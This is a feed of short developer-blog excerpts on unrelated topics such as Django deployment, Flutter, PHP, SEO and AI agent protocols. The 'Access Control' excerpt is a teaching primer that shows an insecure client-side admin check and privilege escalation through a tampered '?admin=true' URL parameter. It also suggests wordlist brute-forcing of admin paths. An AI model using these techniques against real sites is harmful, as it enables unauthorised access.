    Game Freak’s just dropped a story trailer for Pokémon Legends: Z-A, turning Lumiose City into a sprawling third-person open-world playground. You’ll meet fresh Pokémon species, quirky characters and fierce rivals as you chase your dream of becoming the region’s top Trainer. Mark your Pokédex: the game launches October 16 on Nintendo Switch and the next-gen Nintendo Switch 2.  ( 3 min )
    Guides To Python Web App on AWS Lightsail
    Deploying a Django app on AWS Lightsail is a cost-effective and straightforward way to get your application online. In this guide, we'll walk through the process step-by-step, with examples to help you follow along. AWS Account: You need an AWS account to use Lightsail. Django Application: Have a Django app ready to deploy. Basic Knowledge of Django and the command line: Familiarity with Django project structure and basic command line usage will be helpful. Log in to AWS Lightsail Go to the AWS Lightsail console. Sign in with your AWS account. Create an Instance Click Create instance. Choose your instance location (e.g., a region close to your users). Under Select a blueprint, choose OS Only and then Ubuntu 20.04 LTS. Choose your instance plan based on your resource needs and budget. …  ( 5 min )
    Is your Vector Database Really Fast?
    A few weeks ago, I was re-watching Ford v Ferrari (a great movie, by the way), and there's this scene where Carroll Shelby explains that winning isn't just about having the fastest car. It's about the perfect lap. The driver, the weather, the tires, the brake assembly, and even the timing of gear shifts matter. Everything matters. That got me thinking about vector databases. We spend so much time debating Postgres vs. Redis vs. Pinecone vs. Weaviate vs. Qdrant vs. Milvus, comparing benchmarks, arguing about which one is "fastest." But here's the thing: we're missing the forest for the trees. Like in racing, the database is only one component of a complex system. After spending the last few weeks researching vector search systems, I've learned that the difference between a blazing-fast vect…  ( 10 min )
    Python is DEAD
    When I was starting my journey to become a developer, I made so many mistakes. I learned things that didn't help me, and it felt like I was running in place. It took me two years to get my first job. Now, as a senior developer, I see so many people making one of the biggest mistakes I almost made: starting with Python. It's not your fault. Influencers are telling you it's the best first step. But i think they're selling you a broken career path. The Python Trap Influencers love selling Python courses because it’s easy to teach, which makes it a great business for them. They show you big tech salaries and imply their course will get you there, but it won't. They promise to teach you Python, and that's it. They don't promise you a job. The problem is, "Python developer" isn't really a common…  ( 4 min )
    Tailwind in Reality: Bringing CSS Classes to Life with AI Videos!
    Hey folks! 👋 I just dropped a mini-series on YouTube called “Tailwind in Reality”, where I used ChatGPT's Sora AI to turn four Tailwind CSS classes into real-world magic. For example: rounded-full → a square pizza becomes a perfect circle Imagine a world where every action, every shape, and every motion is driven by a Tailwind CSS class—buttons float, objects morph, and interfaces blur into reality. 🌀 Check it out below and let me know which transformation blew your mind! 🚀 How It Was Made Videos: Sora AI (ChatGPT Plus, 20$ subscription) Voiceovers: ChatGPT Advanced Voice Mode Music: SunoAI SFX: Transitions & ambient from freesound.org I’ve just launched my channel, MirAli Makes, to explore more AI experiments, dev tutorials, and creative projects. I’d love your feedback—what Tailwind class should come to life next? Drop your ideas below! 🎨✨  ( 3 min )
    Fixing Clangd "No Locations Found" Error in Neovim for C++ Projects
    The Problem: When Your LSP Can't Navigate Your Code If you're a C++ developer using Neovim with clangd as your Language Server Protocol (LSP), you might have encountered this frustrating scenario: You try to go to a definition with gd or gd You get "No locations found" error Autocompletion doesn't work properly Your LSP seems broken despite having a valid compile_commands.json This issue is particularly common when: Your project is built with GCC but you're using clangd (LLVM-based) as your LSP You're on Ubuntu or other Linux distributions with GCC as the system compiler Your CMake-generated compile_commands.json looks correct but clangd still fails The issue stems from a fundamental difference between how GCC and Clang handle system headers: GCC knows where its standard libr…  ( 6 min )
    🚀 Building Better AI Prompts: A Complete Guide to LLM Prompt Optimization with Python
    SEO-Optimized Title "Build Enterprise-Grade LLM Prompt Optimization Tools: A/B Testing, Analytics & Security in Python" Learn how to build a comprehensive LLM prompt optimization framework with A/B testing, real-time analytics, security features, and enterprise-ready APIs. Boost your AI application performance with systematic prompt engineering. #python #ai #machinelearning #promptengineering #abtesting #fastapi #llm #openai #anthropic #analytics #security #api #tutorial #opensource Are you struggling to get consistent, high-quality responses from your LLM applications? Do you want to systematically optimize your prompts but don't know where to start? I've built a comprehensive LLM Prompt Optimizer that solves these exact problems. It's an enterprise-ready Python framework that provides…  ( 6 min )
    From "Vibe Coding" to Context Engineering: How I Built a Working App in One Day with Claude
    The Reality Check We've all been there. You see those viral tweets about "vibe coding" – just tell AI what you want and boom, instant production-ready app! I was ready to ride that wave straight into the sunset. Then I fired up my laptop, and reality came crashing down. I ended up with a giant mess of spaghetti code I didn't understand and an app that "technically" worked sometimes if you squinted at it just right. I wasn't happy, and once you create a big mess like that, you'd rather just start over than start debugging. Context engineering may seem like just a different buzz word, but, it really works. With some structure and planning, AI can actually produce working software. I turned my idea for an Azure DevOps MCP server into a testable working product in just one day using Claude …  ( 8 min )
    🚀 AutoML Lite: The Ultimate Python Library That Makes Machine Learning Effortless (With Zero Configuration!)
    Transform your data into production-ready ML models in minutes, not hours! AutoML Lite is here to revolutionize how you approach machine learning projects. Whether you're a data scientist, ML engineer, or just getting started with AI, this library will save you countless hours of boilerplate code and configuration headaches. Traditional machine learning development involves: Hours of data preprocessing and feature engineering Manual model selection and hyperparameter tuning Complex pipeline orchestration and deployment setup Repetitive boilerplate code that takes away from actual problem-solving Inconsistent results due to human bias in model selection AutoML Lite is a comprehensive Python library that automates the entire machine learning workflow while maintaining full transparency and c…  ( 6 min )
    I made my FIRST GitHub Repository and...
    I'm so proud of myself I could cry! Granted, all I did was click the create repository button, add a generic title like: First Github repository and the rest was history... and a lot of confusion BUT I DID IT and I'm so proud! 🤗 Confused but proud. Great question. Well I've been trying to learn how to code for a while now and strangely enough after completing a Level 3 Diploma in software development in February this year, somehow I've never actually tried to build anything. For some reason I've been stuck dabbling in multiple free online learning websites which are great, dont get me wrong. However, I felt it was time to actually give this web designing a go or else I'll be stuck just searching for more free online courses, signing up to them and most likely never really finishing them and if, by some miracle I do complete them, I still havent built an actual, even basic webpage. Start using my Github account ✅ Create a repository ✅ Build/make a webpage ☐ Build another webpage ☐ And another... ☐ And one more for good measure ☐ Make updates to my Dev.to page each time to document this historic attempt at attempting to build websites. ☐ So about 5 projects in total and I think that will not only be beneficial learning experience but will be an opportunity for me to put myself out there and I fail (which I hope I wont but might do) at least we tried! Hopefully this blog post will also add as a source of accountability for me I dont really have a timeline but I'd say about 60 days should do it or maybe I'm being to naive? If any experienced individuals in coding or web design could let me know if this is doable, please let me know. Thank you in advance! Also my GitHub is: https://github.com/WLeahK98 And feel free to drop your GitHub in the comments or follow me if you like and I'll definitely follow you back! 🤗  ( 4 min )
    How to Structure a Plugin-Friendly Flutter App
    You’ve probably built a cool feature that you wished you could easily reuse in another app maybe a custom calendar, a payment module, or a chat UI. But when you try to extract it… you realize it’s deeply coupled to your app. That’s where plugin-friendly architecture comes in. If you structure your Flutter app the right way from the start, you’ll be able to extract features into packages or plugins effortlessly saving time, avoiding rewrites, and even enabling contributions from others if you’re working in a team or open-source setting. Let’s explore how to design your Flutter app to be plugin-friendly from day one. Here’s why these matters: Easy code reuse across apps Convert any feature into a plugin/package Better testing and maintainability Clear modular separation Ideal for enterprise …  ( 5 min )
    How I'm Building a POS System with Electron ,Next.js And Express
    > "I just wanted to build a simple POS system… Now my terminal has trust issues and my PC thinks it's a full-time cashier." 😅 Welcome to Part #1 of my dev series, where I take you behind the scenes of how I'm building a modern, beautiful, cross-platform POS system from scratch - using some of the hottest tech in the JavaScript world. 🛠️🔥 Because it sounds like a startup that could raise $10M… but it's just me in my room, drinking tea and fighting bugs. ☕💻 Because I noticed a lot of small businesses still use clunky, outdated systems from the Windows XP era 🪦.  I thought… "Why not build a sleek, modern POS that actually feels nice to use?" Plus, it's a great way to flex my ✌️full-stack✌️ skills - while creating something useful and sellable. Let's break it down: 🖥️ Frontend 🧠 Backend 🖥️ Desktop App Magic ⚙️ Dev Tools Started with a Next.js + Tailwind dashboard. - Add product management - Build a POS terminal UI - Start selling it to real businesses - Fix the 17 bugs I just created while writing this post This is just Part 1. I'll be dropping more updates as I build out the entire system - including sales reports, barcode scanners, invoice printing and all that good stuff 💸 I'm Theekshana, a self-taught developer trying to go from 💰 $0 to $1M by building real SaaS, side-projects and AI tools. 💬 Let's Talk Drop a comment or connect with me on LinkedIn or GitHub - I don't bite Stay tuned for Part #2: "Building the POS Terminal UI + Handling Sales" Thanks for reading, and happy coding! 💻✨  - Theekshana  ( 4 min )
    Access specifiers/modifiers in C#
    Access specifiers define the visibility and accessibility of classes, methods, properties, fields, and other members within a program or project. public private Note:- Default access modifiers for class members. protected internal Note:- Default for classes and structures(structs). protected internal internalor in a derived class in another assembly/project, like protected  ( 3 min )
    swagrLite ⚡️ – Say Hello to a Lightweight Swagger Editor Alternative
    We’ve all been there: you're trying to tweak your OpenAPI spec, and you end up tangled in YAML errors, weird validation issues, or—you guessed it—paywalls. Enter swagrLite ⚡ — a lightweight, open-source Swagger Editor–like tool built with React, TypeScript, and Vite. It gives you the core features you need to write, validate, and explore OpenAPI YAML files without jumping through hoops. 👉 Try It Out Here! Swagger Editor (editor.swagger.io) is great—until it locks features behind a paywall 💰. swagrLite⚡️ steps in. It offers a fast and minimal experience, perfect for quick spec validation, API testing, or just learning how OpenAPI works. 🧾 YAML Parsing with basic error detection ✅ OpenAPI Schema Validation so your specs are always compliant 🪠 Real-time squiggles for instant YAML & OpenAPI feedback 🔍 Clickable Error Panel to jump to the source of problems 🧭 API Exploration mode to test and learn how your API works 🕒 Debounced Validation for a smoother typing experience 📁 File Import/Export to manage specs locally 📂 Drag and Drop Support for importing YAML files quickly 🔧 More features coming soon! Stay tuned for improvements and new tools. If you spot a bug 🐞, have an idea 💡, or just want to help out—open an issue or submit a PR here! This project thrives on community input. Whether it's feature requests or code contributions, you're welcome to jump in. If you find swagrLite helpful, consider: ⭐️ Starring the repo 📢 Sharing with your dev friends 💬 Tweeting about it 🧑‍💻 Using it in your own projects Let’s make OpenAPI editing smoother and more accessible—without the paywalls.  ( 3 min )
    Vibe coding clarity with Kiro specs
    When AWS made the Kiro announcement, I was more than excited to try it out. As I write this blog, it is still in it's preview stage. I was able to download it before its access was limited for fine-tuning. I would love to share my experience so far. We are in the awesome age(some would think scary😅), of code-native AI agents. Think of it as a coding partner that is integrated to your coding environment such as your terminal or IDE. It has a codebase-wide understanding of your project which means it understands your project structure and gets the context across multiple files. Kiro is one of these cool tools. When I downloaded it, I signed in using my AWS Builder ID. There are other sign-in options including Google and Github. I loved this option that allowed me to import my configs from V…  ( 4 min )
    Array programs
    Array reverse program public static void main(String[] args) { int []A= {10,20,30,40,50}; System.out.println("enter a orginal number"); for(int i=0;i<A.length;i++) { System.out.print(A[i]+" "); } int start=0; int end=A.length-1; while(start< end) { int temp=A[start]; A[start]=A[end]; A[end]=temp; start++; end--; } System.out.println("\n reversed number"); for(int i=0;i<A.length;i++) { System.out.print(A[i]+" "); } } } Print all Array import java.util.Scanner; public class Printarray { public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.print("Enter how many numbers: "); int n = sc.nextInt(); int[] arr = new int[n]; System.out.println("Enter " + n + " numbers:"); for (int i = 0; i < n; i++) { arr[i] = sc.nextInt(); } System.out.println("Array elements are:"); for (int i = 0; i < n; i++) { System.out.println(arr[i]); } } } Sum of array public class Sumofarray { public static void main(String[] args) { int A[]= {10,20,30,40}; int sum=0; for(int i=0;i<A.length;i++) { sum = sum+A[i]; } System.out.println(sum); } }  ( 3 min )
    Comunicação Entre a Camada de Domínio e a Camada de Infraestrutura no .NET
    Em uma arquitetura limpa e escalável, cada camada da aplicação possui uma responsabilidade clara. A camada de domínio foca nas regras de negócio, enquanto a camada de infraestrutura lida com preocupações externas (bancos de dados, APIs, sistemas de arquivos, mensageria, etc). Mas como essas duas camadas podem se comunicar de forma eficaz sem quebrar o Princípio da Inversão de Dependência e mantendo uma arquitetura desacoplada? Vamos explorar isso em detalhes. Camada Responsabilidade Domínio Lógica de negócio, regras, entidades, value objects, agregados Infraestrutura Acesso a dados, serviços de terceiros, mensageria, etc. Para seguir os princípios da Clean Architecture ou Arquitetura Hexagonal (Ports and Adapters), as dependências sempre devem apontar para dentro, ou seja, das …  ( 5 min )
    Referential transparency with mutation
    From a conversation with perplexity.ai about a hypothetical programming language. Referential transparency is considered a staple in pure functional programming. It typically assumes immutability. But mutability is often more efficient than immutability, since it involves changing data structures in-place rather than always having to create copies. So, could referential transparency be combined with mutability, if the language was sufficiently restrictive..? —- If a function mutates its input but is forced to return that mutated input as part of its result, and if the caller is constrained to never reuse the original input after calling the function, then this can preserve referential transparency despite the mutation. This is because: Referential transparency means you can replace a fun…  ( 5 min )
    HTML Parsing with PHP 8.4's New DOM\HTMLDocument Class
    Intro: PHP 8.4's New DOM\HTMLDocument Class PHP 8.4 quietly introduced a powerful new class: DOM\HTMLDocument. Unlike the traditional DOMDocument, this class is tailor-made for parsing HTML5, not XML, and brings a more forgiving and intuitive DOM interface to modern PHP. Note: This requires PHP 8.4+ and the dom extension to be enabled. DOM\HTMLDocument is more HTML5-native than the classic DOMDocument, which is XML-centric and strict about malformed markup. If you’ve ever fought with DOMDocument silently failing or auto-correcting tags, this new API is for you. I created a GitHub repo showing how to: Load and parse HTML5 files Access elements like and Extract tags Cleanly render DOM elements as HTML GitHub Repo: github.com/Fishbite/php-dom-htmldocument-examples use DOM\HTMLDocument; require __DIR__ . '/vendor/autoload.php'; $dom = HTMLDocument::createFromFile('./html/sample.html'); $head = $dom->getElementsByTagName('head')->item(0); foreach ($head->childNodes as $child) { if ($child instanceof DOM\Element) { echo "First tag in : tagName}>\n"; echo $dom->saveHTML($child); break; } } extract_head.php: Show the first child of extract_title.php: Grab the text list_meta.php: List all tags sample.html: Minimal HTML5 doc for testing composer.json: Basic autoloading config You can run each file individually from the command line or route them through a browser if preferred. There’s very little official documentation or community content around DOM\HTMLDocument, so this is a good time to explore it together. Feedback, suggestions, or PRs are more than welcome! Let’s help get the word out and make working with HTML in PHP a whole lot nicer.  ( 3 min )
    B4Ugo: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. B4Ugo - Before You Go helps you avoid crowds, shortages, and delays by showing real-time reports and maps from other users before you leave home. Smarter decisions start here Team Members: ר ק Project URL: https://devpost.com/software/2bupdated Our experience building B4Ugo during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions accelerated our development velocity Re…  ( 4 min )
    Klutz: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Klutz - Suite of AI powered Image, Text, Analysis, Problem-Solving, Troubleshooting, Date, Spreadsheets, Infographics Tools everyone could dream of! Team Members: Dr. James James Project URL: https://devpost.com/software/audiolab-qwb1ly While Klutz represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Klutz wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking channels. Despite being a solo effort, we found common ground in our passion for …  ( 4 min )
    How ₹15,000 Monthly SIP Can Turn Into ₹5 Crore+ Wealth
    💰 How ₹15,000 Monthly SIP Can Turn Into ₹5 Crore+ Wealth Ever wondered how a small monthly SIP of ₹15,000 can help you become a crorepati? Let’s break it down: ✅ ₹15,000/month for 15 years at 15% annual return = ~₹1 Crore Invest ₹50,000/month for 20 years at ~12% return OR invest ₹15,000/month, increase it by 10% every year, and stay invested for 30 years — your corpus can grow to ₹22+ Crore! 🔍 Why SIPs Work Like Magic: Power of compounding over time Flexibility to start small & scale up Market ups & downs average out in long term Tax-efficient wealth creation 🧠 Pro Tips: Start as early as possible Choose a mix of equity mutual funds Automate SIP step-up annually Stay patient and avoid panic selling With discipline and time, even a modest SIP can unlock massive financial freedom! 📖 Read full story here  ( 3 min )
    How to Use Kimi K2 for free? 3 Ways
    Kimi K2 has rapidly emerged as one of the most talked‑about open‑weight Mixture‑of‑Experts (MoE) language models of 2025, offering researchers and developers unprecedented access to a trillion‑parameter architecture at no cost. In this article, we’ll explore what makes Kimi K2 special, walk through multiple free access methods, highlight the latest developments and debates in the community, and show how you can integrate Kimi K2 into your own workflows—all without spending a dime. Kimi K2 is a state‑of‑the‑art MoE model developed by Moonshot AI, featuring 1 trillion total parameters with 32 billion active experts per forward pass. Trained on 15.5 trillion tokens using the MuonClip optimizer, it excels at advanced reasoning, code synthesis, and agentic tasks—capabilities that were once the …  ( 7 min )
    Fastfony is officially out!
    Fastfony v0.3.1: First Stable Release 🚀 I'm excited to share the release of Fastfony v0.3.1—the very first stable version of this modern web app starter kit! What is Fastfony? Fastfony helps you launch web projects, with PHP and the Symfony framework, faster by combining a robust tech stack (PHP 8.2, Symfony 7.3, Webpack Encore, Vue 3, Tailwind CSS 4, API Platform, EasyAdmin) with essential features out-of-the-box. Key Features: Content Management: SEO pages, collections, taxonomies, inline editing Authentication: Magic link login, user management, permissions, password reset, avatars E-Commerce: Product management, Stripe integration, contact form Admin Tools: Scheduler, logs, settings panel, CRUD generator Modern UI: Responsive Tailwind + DaisyUI, toast notifications, i18n APIs: OAuth2 ready, REST & GraphQL, flexible endpoints Release Cycle: Fastfony syncs with Symfony’s release schedule (with a 2-month delay). Expect releases in January and July, with LTS versions for long-term stability (v0.4 in January 2026 will be the first LTS). Get Started: Check out the documentation (still growing!) and explore the showroom. I hope Fastfony will thrive and evolve with the help of the community. Interested in contributing or collaborating? Reach out—everyone is welcome! Happy coding!  ( 3 min )
    Top AI Agent Protocols for Developers in 2025
    Most AI Agents used to break the moment you tried plugging them into a real app. The issue was the lack of shared protocols. But that’s changing fast. Over the past year, protocols like AG-UI (user interaction), A2A (agent-to-agent communication), and MCP (for tool access) have changed the ecosystem. So I took the chance to learn these protocols and understand how everything fits together. This post covers everything I picked up about protocols (AG-UI, ACP, A2A, MCP). You will also find a collection of the best educational repos for learning & building AI Agents. This list will give you the foundations and tools you need. AG-UI - the Agent-User Interaction Protocol. There are solid multi-step agent frameworks out there. But the moment you try to plug an agent into a real world app, thing…  ( 13 min )
    USPTO to Launch AI Image-Based Prior-Art Search Tool for Design Patents in October 2025
    USPTO to Overhaul Design Patent Search with AI Image-Based Tool in 2025 A major shift in intellectual property is coming as the USPTO embraces AI to solve one of the oldest challenges in design patent law. For decades, securing a design patent has involved a notoriously difficult step: the prior-art search. Unlike utility patents defined by text, design patents protect an object's unique visual appearance. This has forced inventors and examiners to rely on a clunky, often imprecise system of classification codes and keywords to find visually similar designs. The process is time-consuming, expensive, and akin to searching for a needle in a haystack with a text-based magnet, often leading to missed prior art and weaker patents. Everything changes in October 2025. The U.S. Patent and Trademark Office (USPTO) is set to launch a revolutionary tool that leverages artificial intelligence for image-based searching. Instead of fumbling with codes and descriptions, users will be able to upload an image of a design, and the AI will scan the entire database for visually similar precedents. This marks a monumental shift from an abstract, text-reliant process to a direct, intuitive, and powerful visual comparison engine. The implications are profound. For creators, this new AI tool promises to democratize the patent process, making prior-art searches faster, more accurate, and more accessible, leading to stronger applications. For USPTO examiners, it offers a massive leap in efficiency that could slash backlogs and improve the quality of granted patents. This bold step not only modernizes a critical government function but also sets a new global standard for how intellectual property offices can harness technology to better serve innovators.  ( 4 min )
    Threats, Vulnerabilities, and Mitigations: Understanding Threat Actors and Attack Vectors
    In today’s hyper-connected digital landscape, cybersecurity threats are not just a possibility—they're a certainty. As organizations expand their digital footprints, they also increase their exposure to a wide range of threat actors and attack vectors. Understanding the nature of these threats, the vulnerabilities they exploit, and the strategies to mitigate them is essential for building resilient systems. Threat actors are individuals or groups that pose a risk to digital assets. They vary in motivation, sophistication, and resources. Here are the primary categories: Cybercriminals These are financially motivated individuals or groups who exploit systems for profit. Common tactics include ransomware, phishing, and credit card fraud. Example: A ransomware gang encrypts a company’s data …  ( 5 min )
    Access Control
    Let's get straight to it.. Accss Control, What does it mean? So, let's put it this way, you saw this blog, and as you're reading it, you probably saw the typo i wrote Accss, and if you're me, you'd be thinking of editing it. Making it readable, so indirectly you want to edit my blog post 😏. But here's the critical question: Should you be able to? This is where Access Control fundamentally comes into play. Access Control is the gatekeeper that determines who can access what resources, and what actions they're permitted to perform. It's not just about letting people in; it's about defining their privileges once they're inside. In the context of web applications, access control is dependent on authentication and session management. Authentication confirms that the user is who they say they are. Session management identifies which subsequent HTTP requests are being made by that same user. Have you heard of Vertical Privilege Escalation? Then there's Horizontal Privilege Escalation Unprotected Functionality https://insecure-website.com/admin, https://insecure-website.com/admin or just using a wordlist to brute-force sub-directories that contains administrative functionalities or simply checking the JavaScript on the user interface: var isAdmin = false; if (isAdmin) { ... var adminPanelTag = document.createElement('a'); adminPanelTag.setAttribute('href', 'https://insecure-website.com/administrator-panel-yb556'); adminPanelTag.innerText = 'Admin panel'; ... } Parameter-based Access Control Methods https://insecure-website.com/login/home.jsp?admin=true, the parameter admin is set to true. Which means that when a non-administrative user browses to the URL, the user gains admin privileges, due to the parameter admin being set to true. This approach is insecure as the web URL can be modified to gain access. So with that, you've got an idea on Access Control. Without robust access control, anyone spotting that typo could theoretically change it, or worse, delete the entire blog post.😏  ( 3 min )
    How to add loading spinner to Angular material button
    Angular material is a good UI library. For sure, we have a button component there. It works good except one thing - loading state. Probably you (and me as well) used something like that (pseudocode) @if (loading) { } Text It might be okay but let's do out live a bit easier :) We will create a directive that will add spinner to our buttons based on input value. First, we init our directive and call it ButtonLoading (you can call whatever you want). As selector we will use button[matButton][loading]. So, our directive will be applied for material buttons with loading input (works for Angular 20+, you might change it for your Angular version). We need two method for create spinner and destroy it. Both methods will be triggered when loading input chang…  ( 4 min )
    🔁 How to Automate Everyday Tasks with Python – Part 2
    Python isn’t just for beginners—it’s a powerhouse for automating both simple and complex workflows. In Part 1, we looked at file handling, web scraping, email automation, Google Sheets, system monitoring, and browser automation. In Part 2, we explore more advanced automation patterns using APIs, PDFs, screenshots, backups, and schedulers that can level up your day-to-day productivity as a developer, sysadmin, or even a tech hobbyist. Python's requests library is perfect for consuming APIs. Let’s automate fetching weather data: import requests API_KEY = 'your_api_key_here' city = 'Delhi' url = f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}&units=metric' response = requests.get(url).json() print(f"{city} | Temp: {response['main']['temp']}°C | Weather: {response…  ( 5 min )
    The Best Python Web App Frameworks in 2025
    The Top 5 Python GUI Builders Python is a popular language amongst beginners, academics and data scientists, and its popularity is steadily growing. In 2024, Python became the most used language on GitHub, surpassing JavaScript for the first time. With the number of Python developers steadily increasing, there is more demand than ever to be able to build graphical user interfaces (GUIs) with Python. While Python has long been used as a backend language for web development, more and more developers are looking to use it on the frontend too. There are now several frameworks for building full-stack web applications entirely in Python, each with their own approach to solving the issue. Let's take a look at a few of them. In this article, we'll compare and contrast five tools for building GUI…  ( 7 min )
    [Boost]
    100+ Stars in the First Week! Tokyo Dal ・ Jul 7 #github #devtools #ai #coding  ( 2 min )
    Why I'm Still Thinking About My Hackathon Project Weeks Later
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. So I built this thing called Metric Moon for the World's Largest Hackathon. Basically, you ask your data questions in plain English and get instant, visual answers. Pretty standard AI stuff, right? I thought I was done with it after submission. Then last week I was grabbing coffee with Maria (she runs this small animal rescue), and she's pulling her hair out over a laptop full of spreadsheets. Trying to figure out which adoption campaigns work best, what times of year they get more surrenders, basic stuff that could help them save more animals. "I know the patterns are in here," she says, scrolling through endless rows. "But learning Excel formulas is like learning a foreign language, and we're all vo…  ( 4 min )
    Universal API for eCommerce SaaS: Why It Matters in 2025
    For eCommerce SaaS companies, developing integrations with multiple shopping platforms is a challenging and resource-heavy task. Each platform has its own API logic, data structure, and frequent version updates. As a result, managing and maintaining multiple separate integrations becomes time-consuming and expensive. That’s why having a unified and scalable way to connect with various eCommerce platforms and marketplaces is essential. A universal API provides exactly that — a single integration point that simplifies and accelerates the development process. In this article, we’ll explore what a universal API is, how it works, and why it’s a game-changer for eCommerce SaaS providers looking to scale efficiently. Universal API (also known as a unified API) is a type of API that allows eCommer…  ( 6 min )
    Revolutionizing Novel Writing: Introducing novelWriter
    Quick Summary: 📝 novelWriter is a plain text editor designed for novelists, enabling them to assemble novels from smaller text documents. It employs a minimal Markdown-inspired syntax and meta-data for comments and synopses. The project's structure is designed for version control, storing core data in XML and meta-data in JSON files. ✅ Plain text focus for easy version control and accessibility. ✅ Simple, intuitive interface for efficient writing. ✅ Well-structured project organization for managing large novels. ✅ Open-source nature allows for community contribution and learning. ✅ Cross-platform compatibility for seamless writing experience. Project Statistics: 📊 ⭐ Stars: 2474 🍴 Forks: 148 ❗ Open Issues: 113 ✅ Python Ever wished for a simpler way to manage your…  ( 4 min )
    Tired of bugs and client chaos starting a passive income challenge ($0 $1,000 in 30 days)
    Freelancer here just wrapped 5+ hours of back-to-back coding and bug fixes for clients. Burned out. So I’m challenging myself to launch a completely passive income stream with no clients, no code issues, and no stress. Goal: I’ll post updates here what I build, how I launch, what flops and what works. Hopefully useful to others doing the same. If anyone else is on the same journey, let’s connect and share what we learn.  ( 3 min )
    Picking the Right Tech Stack for Your Startup
    Selecting the right technologies begins with a clear understanding of your business goals. Which features are essential for your initial launch, and which can be postponed? Are you expecting rapid growth, and how will you ensure consistent performance as you scale? Your target audience and market also play a key role in shaping your tech stack. For instance, startups focused on a broad B2C mobile user base often require a quick rollout across multiple platforms, making cross-platform frameworks a practical choice. Meanwhile, solutions aimed at enterprise clients might have different priorities, such as integration capabilities and heightened security. If you’re planning to expand your product’s features gradually or enter new markets, it’s crucial to pick a tech stack that supports growth …  ( 4 min )
    🚀 The Future of SEO: Strategy, Structure & Search in 2025 and Beyond
    Search Engine Optimization (SEO) is no longer just about keywords, backlinks, or stuffing meta tags. In 2025, SEO is multidimensional, AI-driven, and deeply intertwined with user experience (UX), semantic search, and structured data. Whether you're building a personal blog, scaling an e-commerce platform, or launching a B2B SaaS product, understanding modern SEO can be a game-changer for visibility, credibility, and conversion. In the early 2000s, SEO was tactical—metadata tweaks, backlink farms, and keyword stuffing. Today, search engines like Google use machine learning, natural language processing (NLP), and real-time UX metrics to determine rankings. Modern SEO is about satisfying intent, not just matching words. Technical SEO This includes everything that ensures your site is crawla…  ( 5 min )
    🚀 15+ Free & Powerful Tools Every Developer, Hacker, and Tech Enthusiast Should Bookmark in 2025 💻✨
    Hey everyone, incredibly useful tools, platforms, and resources for developers, hackers, sysadmins, and tech nerds alike. These are tools I either personally use or came across while building side-projects, automating tasks, or doing security research. Here’s a compact list I think many of you might find helpful: 🔧 Developer Tools Liveblocks (https://liveblocks.io/): Add real-time collaboration to any web app (great Figma-style presence). Ray.so (https://ray.so/): Turn code snippets into beautiful images—great for social/blog sharing. PlayCode.io: Instant live preview playground for JavaScript/TypeScript. 🧠 AI-Powered Resources Perplexity.ai: AI-powered search that actually cites sources—good for dev research. Cursor.sh: A VS Code fork built with AI pair programming deeply integrated. Pr…  ( 4 min )
    مراحل کنترل پروژه و نقش آن در موفقیت پروژه‌های چابک
    یکی از دلایل اصلی شکست پروژه‌ها، عدم کنترل مؤثر بر روند اجرا است. حتی اگر بهترین ایده‌ها و برنامه‌ریزی اولیه را داشته باشید، بدون کنترل دقیق، پروژه ممکن است با تأخیر، افزایش هزینه یا کاهش کیفیت مواجه شود. این اهمیت در پروژه‌های چابک (Agile) بیشتر است، زیرا ماهیت این پروژه‌ها پویا و تغییرپذیر است. در ادامه، ابتدا مفهوم برنامه ریزی و کنترل پروژه را بررسی می‌کنیم، سپس مراحل اصلی کنترل پروژه را گام‌به‌گام توضیح می‌دهیم، نقش آن در موفقیت پروژه‌های اجایل را تحلیل می‌کنیم، و در نهایت ابزارها، روش‌ها و حتی ارتباط آن با آموزش اسکرام را شرح خواهیم داد. برنامه‌ریزی و کنترل پروژه شامل مجموعه اقداماتی است که برای هدایت پروژه از نقطه شروع تا تحویل نهایی انجام می‌شود. در این فرآیند، مدیر پروژه ابتدا برنامه‌ای دقیق برای زمان، هزینه و منابع تنظیم می‌کند و سپس با ابزارهای مختلف، پیشرفت پروژه را پایش می‌کند …  ( 5 min )
    A simple responsive navbar component with Juris
    A very simple responsivr Navbar with Juris. Navbar Juris Responsive Header Component li:hover { color: red !important; text-decoration: underline; } { const [getMobile, setMobile] = context.newState("is_mobile", false); const [getOpen, setOpen] = context.newState("menu_is_open", false); const mq = window.matchMedia("(max-width: 640px)"); const updateMobile = (e) => { setMobile(e.matches); if (!e.matches) setOpen(false); }; updateMobile(mq); mq.addEventListener("change", updateMobile…  ( 4 min )
    How to Build a Headless Shopify Store with React.js & Next.js
    As an e-commerce store owner using Shopify, you’re looking to explore a Headless Shopify Store built with React.js and Next.js. If you don’t have a technical background, I’ll explain this concept in plain language, using analogies to make it relatable, and provide a step-by-step guide to help you work with a developer to create a custom, high-performance online store. This approach can make your store stand out, load faster, and work across multiple platforms (like websites and apps), which could boost your sales and customer satisfaction. Normally, Shopify provides both the frontend (what your customers see) and the backend (where your products, orders, and settings are managed) in one system. But in a headless setup, we separate the frontend from Shopify. Shopify still handles your produ…  ( 14 min )
    How to use php with base path with nginx.
    How to use php with base path with nginx, Where notebook_app_wsp is project AA. notebook_app is project BB. Laragon is used. - server { listen 80; server_name localhost ; root "C:/usp/jobhp/notebook_app_wsp"; error_log logs/error.log debug; rewrite_log on; # index index.html index.htm index.php; # Access Restrictions allow 127.0.0.1; deny all; location / { try_files $uri $uri/ =404; autoindex on; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass php_upstream; #fastcgi_pass unix:/run/php/php7.0-fpm.sock; } include "C:/usp/jobhp/notebook_app_wsp/notebook_app/docs/nginx_example/nginx-notebook_app.conf"; } nginx-notebook_…  ( 3 min )
    What Architectural Style Should You Use? — a Guide to Tactical DDD Decision Tree
